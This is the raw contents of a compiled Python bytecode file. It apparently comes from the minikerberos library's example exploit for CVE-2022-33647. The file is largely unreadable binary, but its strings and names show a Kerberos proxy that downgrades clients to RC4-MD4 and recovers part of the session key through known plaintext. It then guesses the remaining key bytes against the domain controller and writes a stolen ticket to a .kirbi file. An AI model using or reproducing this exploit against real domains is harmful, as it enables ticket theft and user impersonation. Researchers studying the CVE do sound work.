o
    jC*                     @   s4  d dl Z d dlZd dlZd dlZd dlmZmZmZmZm	Z	m
Z
mZmZmZmZmZmZmZmZmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZm Z  d	d
 Z!e"#de"#de"#de"#ddZ$d ddZ%dd Z&dd Z'dd Z(G dd dZ)dd Z*dd Z+e,dkre+  dS dS )!    N)KerberosMessageMETHOD_DATA
ETYPE_INFOETYPE_INFO2PA_DATA	KRB_ERRORPrincipalNameEncryptedDataHostAddressAS_REQEncryptionKeyTicketFlagsKrbCredInfoEncKrbCredPartKRB_CRED)
PaDataType)KerberosCredential)KerberosTarget)KerberosSPN)AIOKerberosClient)Key_enctype_tablec                 C   s   t dd t| |D S )Nc                 S   s   g | ]\}}||A qS  r   ).0_a_br   r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/CVE_2022_33647.py
<listcomp>"   s    zbyte_xor.<locals>.<listcomp>)byteszip)ba1ba2r   r   r   byte_xor!   s   r"   a1030201a1040202a1050203a1060204)            d   c                    s8   t |   dd fddtdt D  S )Nz    z
    c                    s   g | ]
} ||  qS r   r   )r   ikdnr   r   r   -   s    z format_kirbi.<locals>.<listcomp>r   )base64	b64encodedecodejoinrangelen)datar/   r   r-   r   format_kirbi+   s   *r7   c                 C   s  d|d}i }t ||d< | d |d< | d |d< ttg d|d	< ||d
< ||d< |tjdd jdd|d< |tjdd jdd|d< | d |d< tdd| d gd|d< i }t|g|d< i }d|d< t|	 |d< i }d|d< d|d< t
||d< | d g|d< t|S ) N)keytypekeyvaluekeycrealmprealmcnamepname)z
enc-pa-repforwardable	renewableinitial	proxiableflagsauthtime	starttime   )daysr   microsecondendtimez
renew-tillsrealmkrbtgtz	name-typename-stringsnamezticket-infoetypecipher   pvno   msg-typeenc-parttickettickets)r   r   setdatetime	timedeltareplacer   r   r   dumpr	   r   )tgt
sessionkeynowkeydcititetr   r   r   tgt_to_kirbi0   s2   rg   c                 C   s   t | }|dkrtd|d }|d }|dk r!|jdddd}n|dk r0d	|jdddd }n
d
|jdddd }|dk rG|jdddd}n|dk rVd	|jdddd }n
d
|jdddd }d| d | d S )N   NO   rG   bigF	byteordersigned               y   0s   0)r5   	Exceptionto_bytes)rR   data_length	first_len
second_lenflslr   r   r   calc_known_plaintextQ   s    r|   c                  C   s>   g } t dD ]}dd|jdddd d}| t| q| S )	N2   rG   s     rr   rk   Frl   )z	addr-typeaddress)r4   rv   appendr
   )hostsxhdr   r   r   get_padding_datai   s   r   c                   @   s6   e Zd ZdddZdd Zdd Zdd	 Zd
d ZdS )KerberosProxyX   c                 C   s   || _ || _|| _|| _d S N)dc_ipdc_port	listen_iplisten_port)selfr   r   r   r   r   r   r   __init__w   s   
zKerberosProxy.__init__c              
      s   z'| dI d H }tj|ddd}| |I d H }t|}|j}|||d fW S  ty@ } zd d d |fW  Y d }~S d }~ww )Nrj   rk   Frl   )readexactlyint
from_bytesr   loadnativeru   )r   readerticketlenraw	ticketlen
ticketdatarX   ticketnativeer   r   r   read_ticket}   s   
zKerberosProxy.read_ticketc              
      sf   zt |jdddd}|||  | I d H  W dS  ty2 } z
d |fW  Y d }~S d }~ww )Nrj   rk   Frl   TN)r5   rv   writedrainru   )r   writerr   tlenr   r   r   r   send_ticket   s   zKerberosProxy.send_ticketc           )         s  d }zՐz| d}d|d |d f }td|  | |I d H \}}}}	|	d ur.|	|d dkrLtd|d   W W |d urF|  |  d S |d	 D ] }
|
d
 dkrpt|
d j}|d dkrp|d dd  } nqPtd tjtj	j
}|d d }ttjjtddig d}tddd}tddd}tddd}||||g}dd|jdd|jd|tdd|gdt| d}	t|	 }| ||I d H \}}	|	d ur|	W W |d ur|  |  d S td| j| jf  t| j| jI d H \}}td  td! t |d d"< t| }| ||I d H \}}	|	d ur.|	td# | |I d H \}}}}	|	d urE|	td$ |d% d dd  }t|d% d dd  }t|d&k r{td' W W |d uru|  |  d S td(|   td)| d d*   |t|d  }|t|d  }t|t t| }t||}td+|   td,| d d*   td-|   td.|   td/|   td0 t!| j} t" }!|d d1 d2 d |!_#|d d |!_$d3|!_%t&|!| }"||"_'t(d4D ]}#|#j)dd5d6d7}#||# d8 }$td9|$   ||"_'t*d |"_+d|"_,t-d|$|"_.z|"/t01d:I d H  W n t2yP }% zW Y d }%~%qd }%~%ww tjtj	j
jdd}td;|$   t3||$| }&td< tt4|& d=|5d> }'td?|'  t6|'d@}(|(7|& W d    n	1 sw   Y   W W |d ur|  |  d S W n t2y }% z
t89  W Y d }%~%nd }%~%ww W |d ur|  |  d S |d ur|  |  w )ANpeernamez%s:%sr   rG   z[+] Client connected from %srV   
   z9[-] Not expected ticket arrived from client. Msg type: %spadatapadata-typerr   padata-valuerQ   r8   rR      z.[+] Downgrading Kerberos encryption to RC4_MD4zreq-bodyrealm)r   r             rS      rI      rM   rN   )rT   rV   stimesusecz
error-coder   rP   ze-dataz[+] Connecting to DC at %s:%sz[+] Connected to DC!z [+] Modifying original AS-REQ...	addressesz$[+] Submitting original AS-REQ to DCz([+] Got AS-REP with the correct enctype!rW      z1[-] AS-REP cipher data too short! Will not work..z[i] ENC TIMESTAMP: %sz[i] AS-REP CIPHER: %s@   z[i] ENC BYTESTREAM   : %sz[i] CIP BYTESTREAM   : %sz[i] KNOWN PLAINTEXT  : %sz[i] KEYSTREAM FROM TS: %sz[i] DEC KEY - 4 BYTES: %sz-[+] Guessing last bytes of the session key...r>   rO   Aro   rk   Frl   s   z[i] GUESSING KEY: %szkrbtgt@test.corpz%[+] GUESSED CORRECTLY! SESSIONKEY: %sz[+] KIRBI DATA:z%s.kirbiz%Y%m%d_%H%M%Sz[+] Writing .kirbi file to: %swb):get_extra_infoprintr   closer	   r   r   r[   ra   timezoneutcr   r   r   valuer^   r]   rJ   r   r   r   r   r   r   asyncioopen_connectionr   r   r|   r5   hexr"   ts_len_hdr_lookupr   r   usernamedomainpasswordr   kerberos_TGTr4   rv   r   kerberos_cipherkerberos_cipher_typer   kerberos_session_keyget_TGSr   from_upnru   rg   r7   strftimeopenr   	traceback	print_exc))r   r   r   dcwriteraddrsaddrr   rX   r   errr   edenc_timestampra   r   pad1pad2pad3pad4md_dcreadermodded_ticketrticketdatarticketrticketnativecipher_dataknown_plaintextts_bytescipher_bytes	keystreamdec_keytarget
credentialclientr,   keyguessr   kirbifilenamefr   r   r   handle_client   s  
}

G


3







zKerberosProxy.handle_clientc              
      s   z6t j| j| j| jdI d H }|4 I d H  | I d H  W d   I d H  W dS 1 I d H s0w   Y  W dS  tyQ } zt  d |fW  Y d }~S d }~ww )N)hostportr   )	r   start_serverr   r   r   serve_foreverru   r   r   )r   serverr   r   r   r   run!  s   zKerberosProxy.runN)r   r   )__name__
__module____qualname__r   r   r   r   r   r   r   r   r   r   v   s    

 r   c                     s   dd l } | jdd}|jddd |jddtd	d
 |jdddd |jddtdd
 | }t|j|j|j|j	}|
 I d H  d S )Nr   z(Kerberos proxy to exploit CVE-2022-33647)descriptiondcipz$IP/hostname of the domain controller)helpz	--dc-portr   z'Port of the Kerberos service on the DC.)defaulttyper   z--listen-ipz	127.0.0.1z3IP/hostname to listen for incoming kerberos traffic)r   r   z--listen-port)argparseArgumentParseradd_argumentr   
parse_argsr   r   r   r   r   r   )r   parserargskpr   r   r   amain,  s   r   c                   C   s   t t  d S r   )r   r   r   r   r   r   r   main8  s   r   __main__)r+   )-r   r   r[   r0   "minikerberos.protocol.asn1_structsr   r   r   r   r   r   r   r	   r
   r   r   r   r   r   r   minikerberos.protocol.constantsr   minikerberos.common.credsr   minikerberos.common.targetr   minikerberos.common.spnr   minikerberos.aioclientr    minikerberos.protocol.encryptionr   r   r"   r   fromhexr   r7   rg   r|   r   r   r   r   r   r   r   r   r   <module>   s8   D
! 7
